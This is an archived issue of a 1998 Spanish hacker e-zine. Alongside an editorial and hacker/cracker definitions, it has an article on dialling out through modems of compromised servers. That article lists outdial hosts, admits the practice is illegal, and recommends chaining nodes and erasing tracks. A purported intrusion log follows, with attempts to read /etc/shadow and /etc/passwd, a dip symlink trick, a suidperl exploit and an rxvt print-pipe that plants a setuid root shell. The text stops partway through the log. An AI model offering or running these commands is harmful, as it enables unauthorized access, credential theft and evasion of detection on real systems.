home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / E-zine / Magazines / jjf / jjf003.txt < prev    next >
Encoding:
Text File  |  2002-05-27  |  231.4 KB  |  6,255 lines

  1.                    
  2.                
  3.                         ╔────────────────────────────╗
  4.                         │                  ┌──────┐  │
  5.                         │                  │██████│  │
  6.                         │           ┌──────┤██┌───┘  │
  7.                         │    ┌──────┤██████│██└─┐    │
  8.                         │    │██████├─┐██┌─┤████│    │
  9.                         │    └─┐██┌─┴┐│██│J│██┌─┘    │
  10.                         │  ┌──┐│██│██└┘██│J│██│      │  
  11.                         │  │██└┘██│██████│F├──┘      │  
  12.                         │  │██████├──────┴─┘         │  
  13.                         │  └──────┘                  │  
  14.                         │   H A C K E R S  T E A M   │  
  15.                         │       J O U R N A L        │  
  16.                         ╠────────────────────────────╣        
  17.                         │     VOL. #1, Nº3, 1998.    │ 
  18.                         ╚────────────────────────────╝
  19.  
  20.  
  21.            "LA CAMINATA MAS LARGA ES EL PRIMER PASO" probervio hindu.
  22.  
  23.  
  24. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=          
  25.  
  26.      Nota: - J.J.F. / HACKERS TEAM - no se hace responsable del mal uso
  27.            de la informacion aqui expuesta y tampoco tiene que estar
  28.            de acuerdo con lo que sus colaboradores opinen.
  29.            Tampoco esperamos que la gente use la informacion aqui expuesta
  30.            para hacer daño ya que tan solo es con fines didacticos.
  31.  
  32.      Recomendado el uso del editor del MS-DOS.
  33.  
  34. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=          
  35.  
  36.      #CURRENT MEMBERS :
  37.  
  38.      - CONDE VAMPIRO     - CODER  H/P/V  EDITOR
  39.      - MAC CRACK BISHOP  - CODER  C      WEBMASTER
  40.      
  41.      #WEB OFICIAL :
  42.  
  43.      - http://www.angelfire.com/mi/JJFHackers
  44.      - http://jjfhackers.home.ml.org
  45.  
  46.      #E-MAIL OFICIAL :
  47.  
  48.      - jjf_team@usa.net      <=============== NUEVO !!!!!
  49.  
  50.      #DISTRIBUIDORES OFICIALES DEL E-ZINE:
  51.  
  52.      - http://wakanda.islatortuga.com
  53.      - http://underhack.islatortuga.com
  54.  
  55.      #COLABORADORES CON ESTE NUMERO :
  56.  
  57.      - Koji
  58.      - Nobody
  59.      - Cesar
  60.      - Bisho
  61.      - Enif (Oioio)
  62.      - Daemon  
  63.  
  64.      #SALUDOS:
  65.  
  66.      - Metalslug (Wakanda)
  67.      - Schoddy Guy (Underhack)
  68.  
  69. <────────────────────────────────────────────────────────────────────────────>
  70. <────────────────────────────────────────────────────────────────────────────>
  71. <────────────────────────────────────────────────────────────────────────────>
  72.  
  73.   - INDICE.                                  
  74.  
  75.     TITULO                                        AUTOR
  76.   ────────────\_______________________________/────────────
  77.  
  78.   * EDITORIAL ................................ J.J.F. / HACKERS TEAM
  79.   * MIEDO A LOS ARTICULOS: NO, GRACIAS ....... CONDE VAMPIRO.
  80.   * QUE ES UN HACKER Y QUE ES UN CRACKER ..... BISHO.
  81.   * LOS OUTDIALS EN INTERNET ................. NOBODY.
  82.   * UN LOG DE UN SERVIDOR .................... ANONIMO.
  83.   * CURSO DE HACK III ........................ CONDE VAMPIRO.
  84.   * USO DE SAMBA EN LINUX/UNIX COMO
  85.     SUSTITUTO DEL NBTSTAT .................... ENIF.
  86.   * ESTADISTICA DE LOS HACKERS EN 1997 ....... J.J.F. / HACKERS TEAM
  87.   * DOCUMENTO SOBRE LOS PERMISOS DE ARCHIVOS
  88.     Y DIRECTORIOS PARA SISTEMAS UNIX ......... KOJI.
  89.   * INTRODUCCION AL HACKING v2.0 I ........... DAEMON.
  90.   * EL LECTOR OPINA .......................... VARIOS.
  91.   * NOTICIAS UNDERGROUND ..................... J.J.F. / HACKERS TEAM
  92.  
  93. <────────────────────────────────────────────────────────────────────────────>
  94. ██████████████████████████████████████████████████████████████████████████████
  95. <────────────────────────────────────────────────────────────────────────────>
  96.  
  97.   -------------
  98.   │ EDITORIAL │
  99.   -------------
  100.  
  101.         Bueno esto parece que funciona ya que estamos en el tercer numero, y
  102.   nosotros contentisimos de ello. Ya que cada vez la gente nos apoya mas y
  103.   ademas contamos con mas distribuidores oficiales, como Underhack, tambien
  104.   como ya dijimos seguimos con Wakanda. Poco a poco vamos avanzando en este
  105.   dificil mundo del hack, sobre todo para bien, que es lo mejor del caso ;-)
  106.  
  107.         Hemos creado una nueva seccion en el e-zine llamada EL LECTOR OPINA en
  108.   la cual se iran poniendo los mail's en los cuales nos haceis preguntas, asi
  109.   las podemos contestar aqui en el e-zine y ademas todos podeis ver las
  110.   respuestas y asi aprendemos todos ;-) por lo que ya NO contestaremos a los
  111.   mail's que nos envieis, solo teneis que ser pacientes y esperar la salida
  112.   del e-zine que se intenta que sea con la mayor rapidez posible. thx a todos!
  113.   
  114.         La verdad es que poco a poco vamos mejorando nuestro e-zine, no solo
  115.   en maquetacion sino tambien en la calidad de los articulos que vosotros nos
  116.   enviais!!! pero no solo mejora nuestro/vuestro e-zine sino tambien nuestro
  117.   web, en el cual siempre podreis encontrar lo que necesitais y sino lo pides
  118.   y veremos que podemos hacer. Que decir de la ya conocida seccion TEAM donde
  119.   encontraras documentacion y programas propios de - J.J.F. / HACKERS TEAM -
  120.   que NO encontraras en ningun otro web. Ademas todas nuestras secciones ya
  121.   estan abiertas donde escontrareis de todo :)
  122.  
  123.         Damos las gracias a todos los lectores que nos envian mail diciendo
  124.   como le gusta nuestro web o el ezine, esto nos alegra mucho y ademas lo
  125.   hacemos con mucho gusto para que por fin encontreis algo para disfrutarlo
  126.   de verdad. Por supuesto, no vamos a subirnos a los laures y seguiremos
  127.   trabajando duramente el web y el e-zine. Sobre las felicitaciones que
  128.   estamos recibiendo nos sorpendre mucho que los mail's vengan del otro
  129.   lado del charco pero nos alegra que nos lean con tanta fidelidad desde alli,
  130.   por eso desde aqui saludamos a todos nuestros lectores hispanos de Las
  131.   Americas. Tambien agradecer la favorable opinion de SET (SET nº 13) en la
  132.   cual apoyan este e-zine, aunque se han olvidado de mencionar que nosotros
  133.   tambien les tenemos puesto un link ;-)
  134.  
  135.         Hay que decir que el mundo del hack hispano esta siendo cada vez mas
  136.   numeroso y ya cada vez hay mas web's (pero ya se sabe que la mitad de web's
  137.   dejan mucho que desear, sin animo de ofender :). Pero no todo son alegrias
  138.   ya que quedan muchos campos todavia por mejorar, que decir de las news
  139.   de hack hispanas... Realmente pesimas y parece mas bien de intercambio de
  140.   programas que de hack, una verdadera lastima pero en fin, esperamos que se
  141.   arregle pronto la situacion del panorama actual o por lo menos nosotros
  142.   pensamos contribuir a ello de alguna forma.
  143.  
  144.         Como ya hemos manifestado varias veces, estamos esperando a que nos
  145.   envies un articulo tuyo, ademas no solo hay que enviar articulos puedes
  146.   enviar todo lo que consideres interesante para este e-zine, como por
  147.   ejemplo algun hacking que hayas cometido (por supuesto con el maximo
  148.   anonimato, ningun dato sera revelado por parte nuestra ;-), o alguna
  149.   noticia sobre el underground, o quieres anunciar algun proyecto, etc...
  150.   Por supuesto tambien queremos que nos escribas para decirnos que piensas
  151.   del e-zine, del web, etc... Al igual que si tienes cualquier propuesta,
  152.   sugerencia, critica o solo nos quieres saludar, adelante, escribemos a:
  153.  
  154.   jjf_team@usa.net
  155.  
  156.   ATENCION : Como veis hemos cambiado la direccion de mail, la antigua
  157.   la de hotmail todavia seguira funcionando pero solo durante un tiempo, esto
  158.   lo hacemos para que os de tiempo a cambiarlo. Nuestro nuevo mail es el de
  159.   arriba :) Tambien deciros que nuestros mail's personales tambien han
  160.   cambiado y son de la siguente manera:
  161.  
  162.   conde_vampiro@usa.net
  163.  
  164.   mac_crac@usa.net
  165.  
  166.   Ahora que todo esta aclarado, que empieze la diversion ;-)
  167.  
  168.                                                    - J.J.F. / HACKERS TEAM -
  169.  
  170. <────────────────────────────────────────────────────────────────────────────>
  171. ██████████████████████████████████████████████████████████████████████████████
  172. <────────────────────────────────────────────────────────────────────────────>
  173.  
  174.                      /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
  175.                      > MIEDO A LOS ARTICULOS: NO, GRACIAS <
  176.                      \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
  177.  
  178.         Este articulo no tiene que ver con el hack directamente, es una
  179.   reflexion de porque hay que escribir un articulo en cualquier e-zine. Esto
  180.   viene a raiz de cuando estas hablando con alquien (principalmente en el
  181.   irc), primero te cuenta que tal y tal..., que acaba de hackear un server,
  182.   tal y tal..., tu piensas "joer, que tio" y le dices, "porque no escribes un
  183.   articulo y lo envias a algun e-zine", pero te dice todo asustado: si no me
  184.   veo capaz, tal y tal...
  185.  
  186.         Por eso aqui os dire una serie de puntos por los cuales hay que
  187.   escribir un articulo. Hay van:
  188.  
  189.   1 - Para escribir sobre alguna cosa tenemos que buscar info y leer mucho,
  190.       con esto aprenderemos y avanzaremos en nuestros conocimientos.
  191.  
  192.   2 - Si traducimos textos en ingles, mejoraremos nuestro ingles, algo
  193.       necesario en nuestros dias.
  194.  
  195.   3 - Escribiendo articulos ayudaras a los e-zines para que sigan mejorando.
  196.  
  197.   4 - Poco a poco, cuando la gente vaya leyendo tus articulos, sabran de tu
  198.       existencia y te iras abriendo paso en el underground.
  199.  
  200.   5 - Puedes pensar que tu articulo sera muy basico pero siempre hay alguien
  201.       por debajo que no lo sabra.
  202.  
  203.   6 - No hay articulos malos, sino poco trabajados :)
  204.  
  205.   7 - Cuando la gente vea tus trabajos, te pediran consejo e incluso ofertas
  206.       de entrar en algun grupo de hack.
  207.  
  208.   8 - La proliferacion de articulos en nuestra lengua, refleja el estado del
  209.       underground hispano.
  210.  
  211.   9 - Siempre hay sobre algo que escribir, ya sea algo nuevo o mejorar uno ya
  212.       escrito.
  213.  
  214.   10 - Tendras algo que contar a tus amigos, novia!! y sobre todo, a tus
  215.        nietos ;-)
  216.  
  217.         Bueno, pues estos son los 10 puntos por lo que hay que contribuir en
  218.   la mejora del underground hispano. Pues ya sabes a ESCRIBIR :))
  219.  
  220.                                                          CONDE VAMPIRO
  221.                                                    - J.J.F. / HACKERS TEAM -
  222.  
  223. <────────────────────────────────────────────────────────────────────────────>
  224. ██████████████████████████████████████████████████████████████████████████████
  225. <────────────────────────────────────────────────────────────────────────────>
  226.  
  227.                        /--------------------------------\
  228.                      <Que es un hacker y que es un cracker>
  229.                       ------------------------------------
  230.  
  231.         Hasta ahora ha habido muchos articulos (sobre todo en internet) sobre
  232.   la diferencia entre hackers y crackers. En estos articulos, los autores han
  233.   tratado de hacer entender quien es cada cosa para que no haya
  234.   malinterpretaciones sobre los dos terminos.
  235.  
  236.         Durante mucho tiempo, la opinion publica ha confundido estos terminos,
  237.   llamandonos "piratas informaticos" por ejemplo y cosas por el estilo, desde
  238.   luego que yo tambien se que es mas facil generalizar que enterarte realmente
  239.   de lo que es cada cosa, y lo peor es confundir el termino hacker con
  240.   cracker, como muchos medios han echo. Por eso la opinion publica trata de
  241.   hacker a alguien que ROMPE dentro de un sistema. Totalmente confundido, y
  242.   ademas es un insulto para muchos hackers y con mucho talento para el dificil
  243.   arte del hack!
  244.  
  245.         Hay gran cantidad de textos que intentan definir estos terminos. Por
  246.   eso he seleccionado los que creo que son mas acertados. Bien por eso vamos
  247.   a intentar "definir" los terminos:
  248.  
  249.   _Hacker: Es una persona REALMENTE interesada en los lados mas reconditos y
  250.            oscuros de un SO de cualquier ordenador. La mayoria o muchos de
  251.            ellos son programadores. Por eso los hackers tienen un
  252.            conocimiento MUY avanzado en cuanto a programacion se refiere.
  253.            Conocen muchos de los agujeros de los SO, y lo mas importante,
  254.            conocen el POR QUE de esos agujeros. Los hackers estan buscando
  255.            informacion continuamente, y la hacen publica cuando la encuentran,
  256.            y NUNCA estropean datos del ordenador intencionadamente.
  257.  
  258.   _Cracker: Es una persona que ROMPE dentro de un sistema o viola la
  259.             integridad del sistema a traves de sistemas remotos con, digamos,
  260.             ideas maliciosas. Los crackers ganan acceso sin autorizacion,
  261.             destruyen o roban datos importantes, incluso vitales, o
  262.             simplemente causan problemas a su "blanco". Los crackers pueden
  263.             ser facilmente identificados por sus actos maliciosos.
  264.  
  265.         Bueno, espero haberte aclarado un poco, aunque supongo que estareis
  266.   pensando... ya claro, pero un hacker entra tambien a un sistema, cual es la
  267.   diferencia?, Bien, vamos a ponerlo en plan metafora:
  268.  
  269.         Tenemos una casa, no? bien, pues que haria un hacker?, sencillo,
  270.   llegaria a la casa, daria la vuelta alrededor de la misma, y entraria por
  271.   la puerta de atras, despues daria una vuelta por la casa, miraria, y se
  272.   marcharia, por el contrario, el cracker, tiraria una piedra contra la
  273.   ventana, entraria y te "limpiaria" la casa de arriba a abajo. La diferencia?
  274.   tu nunca sabrias que el hacker entro en tu casa pero SI sabras que el
  275.   cracker estuvo. Pues bien, tu ordenador, terminal o servidor, es TU CASA.
  276.  
  277.         Despues de esto vamos a repasar unos cuantos nombres que todos o la
  278.   mayoria ya los conocemos y seguro que mas de uno se va a llevar una
  279.   sorpresa (incluso yo).
  280.  
  281.   Los Hackers:
  282.  
  283.   _Richard Stallman: Se unio al Laboratorio de inteligencia artificial de la
  284.                      MIT en el 71. Le dieron el premio McArthur por su
  285.                      desarrollo de software. Despues fundo la Free Software
  286.                      Foundation, creando aplicaciones y programas gratis.
  287.  
  288.   _Dennis Ritchie, Ken Thomson y Brian Kerrighan: Programadores de los
  289.                    laboratorios Bell. Fueron los que desarrollaron el UNIX y
  290.                    el C. Por ejemplo sin estos programadores posiblemente no
  291.                    existiera internet. Ahora Ritchie, sigue trabajando en los
  292.                    laboratorios Bell desarrollando el llamada Plan9, que se
  293.                    supone que sera un nuevo super-sistema operativo que le
  294.                    quitara el trono al UNIX.
  295.  
  296.   _Paul Baram, Rand Corporation: Posiblemente el mayor hacker de la historia.
  297.                                  Ya hackeaba internet antes de que existiera.
  298.                                  El fue quien introdujo el concepto de Hacker.
  299.  
  300.   _Eugene Spafford: Profesor de informatica. Colaboro para crear el Computer
  301.                     Oracle Password Security System (COPS) un sistema de
  302.                     seguridad semi-automatico. Hombre muy respetado en el
  303.                     campo de la seguridad.
  304.  
  305.   _Dan Farmer: Trabajo con Spafford en la creacion de COPS (1991) y al mismo
  306.                tiempo con el famoso Computer Emergency Response Team (CERT).
  307.                Tiempo mas tarde Farmer gano gran notoriedad al crear el
  308.                System Administrator Tool for Analyzing Networks (SATAN). Una
  309.                gran herramienta para analizar vulnerabilidades en redes.
  310.  
  311.   _Wietse Vehema: Vehema viene de la Universidad de Tecnologia de Eindhoven,
  312.                   en los Paises Bajos. Un gran programador, con un don para
  313.                   ello, ademas de tener un amplio historial en programas
  314.                   sobre seguridad. Es el co-autor del SATAN con Farmer.
  315.                   Vehema escribio el TCP Wrapper, uno de los programas de
  316.                   seguridad mas usado en el mundo.
  317.  
  318.   _Linus Torvalds: Un individuo extraordinario, Torvalds empezo a conocer el
  319.                    UNIX y a tomar clases de programacion en C sobre los 90. Un
  320.                    año despues empezo a escribir un SO parecido al UNIX.
  321.                    Despues de otro año, lo colgo en internet, es el llamado
  322.                    LINUX. Ahora mismo el LINUX es un culto entre
  323.                    programadores, por ser el unico SO programado por gente q
  324.                    seguramente ni se conoceran en toda su vida. Adenas el
  325.                    LINUX no tiene el fastidioso copyright, es gratis y libre.
  326.  
  327.   _Bill Gates y Paul Allen: En sus tiempos de instituto, estos dos hombres de
  328.                             Washington se dedicaban a hackear software.
  329.                             Grandes programadores. Empezaron en los 80 y han
  330.                             creado el mayor imperio de software de todo el
  331.                             mundo. Sus "exitos" incluyen el SO MS-DOS,
  332.                             Windows, Windows 95 y Windows NT.
  333.  
  334.   Los Crackers:
  335.  
  336.   _Kevin Mitnick: Mas conocido como "Condor", probablemente el cracker mas
  337.                   conocido del mundo. Mitnick empezo su "carrera" como
  338.                   phreaker, desde entonces, mitnick ha crackeado todo tipo de
  339.                   seguridad imaginable, incluyendo lugares militares,
  340.                   corporaciones financieras, firmas de software y compañias
  341.                   telefonicas. Por ejemplo, siendo todavia un adolescente,
  342.                   crackeo la North American Aerospace Defense Command. Ahora
  343.                   mismo esta esperando una sentencia judicial por sus ataques
  344.                   cometidos entre 1994 y 95.
  345.  
  346.   _Kevin Poulsen: Siguio el mismo camino que Mitnick, pero es mas conocido
  347.                   por su habilidad para controlar el sistema telefonico de
  348.                   Pacific Bell. Incluso llego a "ganar" un Porsche en un
  349.                   concurso radiofonico, si su llamada fuera la 102, y asi fue.
  350.                   Poulsen tambien crackeo todo tipo de sitios, pero el se
  351.                   decantaba por los que contenian material de defensa
  352.                   nacional. Esto fue lo que le llevo a su estancia en la
  353.                   carcel, 5 años, le soltaron en el 96, supuestamente
  354.                   "reformado" :-). Que dicho sea de paso, es el mayor tiempo
  355.                   de estancia en la carcel que ha comparecido un hacker en la
  356.                   carcel;
  357.  
  358.   _Justin Tanner Peterson: Mas conocido como Agent Steal. Peterson crackeaba
  359.                            las agencias de credito, es decir, le iba mas el
  360.                            dinero que la curiosidad. Esta falta de
  361.                            personalidad le llevo a su caida y a la de otros,
  362.                            por ejemplo cuando le pillaron, Peterson descubrio
  363.                            a todos sus amigos, incluyendo a Kevin Poulsen.
  364.                            Despues obtuvo un trato con el FBI para trabajar de
  365.                            clandestino. Esto le facilito su salida de la
  366.                            carcel y "no?" pudo ser demostrado un fraude
  367.                            mediante una trasferencia de dinero :-).
  368.  
  369.         Bueno, despues de todo esto, espero que os haya quedado un poco mas
  370.   claro de que o quien es cada cosa, y a lo mejor te he ayudado a
  371.   identificarte a ti tambien, quien sabe... Hala! hasta otra :-).
  372.  
  373.   Saludos a : - J.J.F. / HACKERS TEAM -, Wakanda y Underhack.
  374.  
  375.               #hackers, #seguridad_informatica
  376.  
  377.               Nobody, Fragel, Folixia, Metalslug y a todos los demas.
  378.  
  379.   Er Bisho
  380.  
  381. <────────────────────────────────────────────────────────────────────────────>
  382. ██████████████████████████████████████████████████████████████████████████████
  383. <────────────────────────────────────────────────────────────────────────────>
  384.                                                                    07-12-1997.
  385.                                                                      ??????   
  386.                         ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
  387.                        ╔────────────────────────────╗▓▓
  388.                        │  LOS OUTDIALS EN INTERNET  │▓▓
  389.                        │                            │▓▓
  390.                        │                  by NOBODY │▓▓
  391.                        ╚────────────────────────────╝
  392.  
  393.         Nota del Autor: No me hago responsable del mal uso del la informacion
  394.   aqui expuesta, ya que es para fines didacticos y no espero que abuses
  395.   de ello.
  396.  
  397.         Los outdials son sistemas informaticos que nos permitiran conectar
  398.   con BBS de otros paises, que esten cerca de casa o donde nos de la gana.
  399.   Tambien los podemos usar para conectar a otras redes. Principalmente se
  400.   usan para conectar a BBS extranjeras.
  401.  
  402.         Para conectar a un outdial lo que hacemos es buscar por internet un
  403.   servidor que nos permita salir y asi llamar a donde queramos sin gastar
  404.   nuestro dinero en llamadas internacionales :). Un ejemplo grafico de como
  405.   seria esto es:
  406.                              SERVIDOR
  407.      ─      INTERNET        ─   SINGAPUR
  408.     │X│───────────────────>│S│
  409.      ─                      ─          ─
  410.     HACKER                  └────────>│B│
  411.     ESPAÑA                 LLAMADA     ─  BBS
  412.                         INTERNACIONAL      ALEMANIA
  413.  
  414.         Como podeis ver hemos conectado desde nuestro ordenador en España a
  415.   un servidor el cual se encuentra en Singapur por internet pero luego
  416.   hemos usado uno de sus modems para hacer una llamada externa y salir de
  417.   internet para conectar con una BBS en Alemnia, con la que tendriamos que
  418.   pagar un riñon si quisiesemos conectar con la BBS.
  419.  
  420.         Generalmente encontrar estos servidores es dificil, hay varias listas
  421.   (abajo os pondre una). Ademas muchas veces estos outdial estan configurados
  422.   para que solo permitan llamadas locales. Los buenos outdial son conocidos
  423.   por GOD (Global OutDials) ya que permiten realizar llamadas a donde se
  424.   quiera pero no son frecuentes ademas suelen cerrar rapido debido a su uso.
  425.  
  426.         Cuando querramos usar un outdial, pues lo que hacemos es conectar
  427.   mediante telnet a un servidor que tenga outdial y generalmente para
  428.   realizar la conexion escribimos ATDT XXXXXXXXX, donde X es el numero al
  429.   que queremos conectar. Puede que el outdial al que conectemos no funcione
  430.   asi por lo que tendremos que averiguar como funciona.
  431.  
  432.         Si hackeamos un servidor por inet podemos intentar averiguar si
  433.   podemos hacer outdial. Supongamos que estamos dentro de un servidor pues
  434.   buscamos el fichero L-devices, que se encuentra en el directorio
  435.   /usr/lib/uucp, si no esta este fichero en este lugar lo tendremos que
  436.   buscar, para ello escribimos: "find / -name L-devices -print". 
  437.    
  438.         Cuando ya hemos encontrado el fichero en cuestion lo editamos:
  439.   "cat L-devices", si este fichero es muy grande y no cabe en la pantalla
  440.   escribe:"cat L-devices | more". Cuando el fichero este editado, nos
  441.   mostrara la informacion relacionada con los modems, entonces escogemos
  442.   una terninal (ttynn, nn sera el numero) y su velocidad (Baudios). Y ya
  443.   podemos conectar donde queramos :)
  444.  
  445.         Como he dicho antes si no encontramos el fichero L-devices de ninguna
  446.   forma tendremos que hacerlo de otro modo. Escribimos:"who am i", nos dara
  447.   informacion de nosotros mismos, entonces miramos en que terminal estamos
  448.   conectados. Si estamos conectados mediante un modem al servidor y estamos
  449.   en la tty07, seguramente los que estan cerca nuestra tambien sean modems,
  450.   como por ejemplo el tty06 o el tty08.
  451.  
  452.               OUTDIAL
  453.         ─────│───────│───────│──────│──────
  454.             / \     / \     / \    / \
  455.              │       │       │      │     MODEMS
  456.              │       │       │      │
  457.              │       │       │      │
  458.            tty05   tty06    tty07  tty08
  459.                            HACKER
  460.  
  461.         Ahora tendremos que conectar directamente con el modem y esto lo
  462.   haremos asi:"cu -sbaudios -l/dev/ttynn dir". Donde en "baudios" y "ttynn"
  463.   podremos la informacion que hallamos obtenido del proceso anterior. Si
  464.   todo ha salido bien nos tendria que haver salido el mensaje de
  465.   "Connected".
  466.  
  467.         Ahora nos encontramos hablando directamente con el modem, en este
  468.   punto conviene salvar la configuracion escribiendo:"AT&W". Si cuando
  469.   escribimos no aparece lo que escribimos no pasa nada ya que seguramente
  470.   esta activado el echo off. Entonces ahora escribimos:"AT&F" para
  471.   restaurar la configuracion predeterminada. Ya solo nos queda configurar
  472.   el modem para nuestros propositos y usarlo tranquilamente. Cuando
  473.   hallamos terminado, escribimos:"ATZ" y para volver a poner la
  474.   configuracion antigua:"~.". Con esto nos tendria que haver salido el
  475.   mensaje de "Disconnected" y estaremos otra vez en el shell.
  476.  
  477.         Logicamente esto es ilegal y conviene tomar medidas para protegerse,
  478.   como por ejemplo usar varios nodos antes de llegar a conectar al outdial.
  479.   Tambien podemos borrar nuestras huellas en el servidor.
  480.  
  481.         Aqui os pongo una lista de outdial que podemos intentar usar, pero es
  482.   un poco antigua por lo que conviene buscar alguna lista mas reciente,
  483.   pero nunca se sabe :)
  484.  
  485.        129.219.17.3                    login: MODEM
  486.                                         atdt 8xxx-xxxx
  487.        dialout.lcs.mit.edu
  488.        dialout24.cac.washington.edu
  489.        ublan.acc.virginia.edu          c hayes
  490.        129.82.100.64                   login: modem
  491.        modem.uwyo.edu                  
  492.        129.119.131.11x  (x = 1 to 4)
  493.        emory.edu                       .modem8 or 
  494.                     .dialout
  495.        pacx.utcs.utoronto.ca           modem
  496.                     atdt 9xxx-xxxx
  497.        128.249.27.154                  c modem96
  498.                     atdt 9xxx-xxxx
  499.        128.249.27.153                  " -+ as above +- "
  500.        130.191.4.70                    atdt 8xxx-xxxx
  501.        132.204.2.11                    externe#9 9xxx-xxxx
  502.        uknet.uky.edu                   outdial2400
  503.                     atdt 9xxx-xxxx
  504.        gate.cis.pitt.edu               LAT
  505.                     connect dialout
  506.  
  507.         Pues esto es todo y espero que os halla gustado y tened cuidado con
  508.   lo que haceis. Si tienes una lista actualizada enviala al mail de JJF
  509.   para que se publique.
  510.  
  511.   Y desde aqui saludar a toda la peña de #hackers, #hack, #rejoin &
  512.   #seguridad_informatica !!!!!!
  513.  
  514.   Grupos como - J.J.F. / HACKERS TEAM - , CYBERHACK, WAKANDA, UNDERHACK,
  515.   @pOkalypSYS y todos los demas !!
  516.  
  517.   Y por supuesto : Bisho, Folixia, Fragel, Ipgh0st, Metalslug, Dillet, Riddle,
  518.   Hadden, Guybrush, Tdp, Virux, Cy, Angelipas, Schoddy Guy, Xus, Enif,
  519.   Bit-Quake, L.A., Nadia, Amanda, Case_zero y todos los que me dejo :)
  520.  
  521.                                                             NOBODY (c) 1997.
  522.  
  523. <────────────────────────────────────────────────────────────────────────────>
  524. ██████████████████████████████████████████████████████████████████████████████
  525. <────────────────────────────────────────────────────────────────────────────>
  526.  
  527.                          ┌-──────────────────-----  
  528.                          │ UN LOG DE UN SERVIDOR │ 
  529.                          ----───────────────────-┘
  530.  
  531.         Este fichero log fue enviado anonimamente a un mailing list de
  532.   hackers y hemos pensado que os podia ser interesante y por eso lo hemos
  533.   incluido.
  534.  
  535.         Se dice que este log fue una entrada a un server por la famosa
  536.   Carolyn P. Meinel. una de las grandes mujeres hacker's. Famosa tambien
  537.   por su mailing list sobre hack y por supuesto las ya conocidas "GUIDE
  538.   TO (mostly) HARMLESS HACKING".
  539.  
  540.   Nota de - J.J.F. / HACKERS TEAM -: Logicamente no podemos verificar la
  541.   autenticidad de este log pero de todas formas es muy interesante y prodeis
  542.   aprender algo de el. Pensamos que tampoco tiene ninguna complicacion por lo
  543.   que no se explicara, asi que os dejamos que trabajeis esa mente, que para
  544.   algo esta!!
  545.  
  546.   TAMBIEN DECIR QUE NOSOTROS NO SABEMOS NADA SOBRE EL HACKEO DE ESTE SERVER
  547.   Y NO ESTAMOS RELACIONADOS DE NINGUNA FORMA.!!!!!!!!!!!!!
  548.  
  549. ------------ Comienzo del log ------------------------------------------------
  550.  
  551.   cd usr/bin
  552.   pwd
  553.   cd ..
  554.   ls
  555.   who
  556.   cd ..
  557.   ls
  558.   cd bin
  559.   cd convfont
  560.   ls
  561.   ls c*
  562.   pwd
  563.   cd ..
  564.   ls
  565.   cd usr
  566.   ls
  567.   cd bin
  568.   cd convfont
  569.   ls
  570.   ls con*
  571.   ls co*
  572.   cd ..
  573.   ls
  574.   cd X11R6
  575.   cd bin
  576.   ls
  577.   ls -l
  578.   cd ..
  579.   cd ..
  580.   cd ..
  581.   ls
  582.   ln -s /etc/shadow /tmp/dummy.dip
  583.   cd etc
  584.   ls
  585.   cd shadow
  586.   ls sha*
  587.   /sbin/dip -v /tmp/dummy.dip
  588.   ln -s /etc.shadow /tmp/dummy.dip
  589.   cd du*
  590.   cd tmp
  591.   cd etc/tmp
  592.   ls
  593.   cd tmp
  594.   cd ..
  595.   ls
  596.   cd tmp
  597.   ls du*
  598.   ls -l
  599.   ls du* -l
  600.   cat dummy.dip
  601.   cc stuff.c
  602.   ls
  603.   man cc
  604.   who
  605.   make stuff.c
  606.   cc stuff.c
  607.   cat stuff.c
  608.   ls
  609.   rm stuff.c
  610.   whoami
  611.   cat < /dev/tty1
  612.   dip -t
  613.   cd ..
  614.   cd ..
  615.   ls
  616.   cd etc
  617.   cdbin
  618.   cd bin
  619.   ls
  620.   cd ..
  621.   ls
  622.   cd dev
  623.   ls
  624.   dir di*
  625.   cd ..
  626.   ls
  627.   cd bin
  628.   ls di*
  629.   cd ..
  630.   dip
  631.   dip
  632.   su +username
  633.   su -- -username
  634.   ls
  635.   who
  636.   echo 'cp /bin/sh /tmp/rxsh:chmod 4755 /tmp/rxsh' > /tmp/rxbug
  637.   chmod +x /tmp/rxbug
  638.   rxvt -print-pipe /tmp/rxbug
  639.   rxvt
  640.   cd usr/X11R6/bin
  641.   cd ..
  642.   ls
  643.   cd ..
  644.   ls
  645.   cd usr
  646.   ls
  647.   cd X11R6
  648.   ls
  649.   cd bin
  650.   ls
  651.   cd ..
  652.   cd ..
  653.   pwd
  654.   who
  655.   mail from
  656.   mail from: nogo@nogood.com
  657.   quit
  658.   cd ..
  659.   cd ..
  660.   ls
  661.   cd etc
  662.   ls
  663.   cat passwd
  664.   su
  665.   su ihu
  666.   su
  667.   mail
  668.   ?
  669.   who
  670.   ps
  671.   cat etc/passwd
  672.   cd ..
  673.   cd ..
  674.   ls
  675.   cd etc
  676.   cat passwd
  677.   ln /etc/passwd /var/tmp/dead.letter
  678.   ln /etc/passwd /var/tmp/dea1d.letter
  679.   mail from: non@non.com
  680.   cat /etc/passwd
  681.   cd /var/tmp/
  682.   ls
  683.   rm dea1d.letter
  684.   cat dead.letter
  685.   ls -l
  686.   cat id*
  687.   ftp
  688.   ftp -n localhost
  689.   who
  690.   ps
  691.   ps -la
  692.   #/usr/bin/suidperl -U
  693.   >=0;
  694.   $<=0; $<=0;
  695.   >=0; $<=0;
  696.   exec("bin/sh:);
  697.   ls
  698.   ls
  699.   who
  700.   cat /etc/passwd
  701.   export RESOLV_HOST_CONF=</etc/shadow>
  702.   cat /etc/shadow
  703.   cd /var/log
  704.   ls
  705.   cat messages
  706.   ls -l
  707.   who
  708.   bash
  709.   makefile
  710.   ls
  711.   run makefile
  712.   make all
  713.   make *.c
  714.   mkd m
  715.   mk m
  716.   man mdk
  717.   man md
  718.   man mkd
  719.   man make
  720.   make -f makefile
  721.   cat makefile
  722.   ls ma*
  723.   cd ..
  724.   ls
  725.   cd cmeinel
  726.   ls
  727.   make -f makefile
  728.   ls m*
  729.   cd ..
  730.   pwd
  731.   ls
  732.   cd cmeinel
  733.   cat makefile
  734.   ls
  735.   make -f MAKEFILE
  736.   ls
  737.   make all
  738.   make -f MAKEFILE all
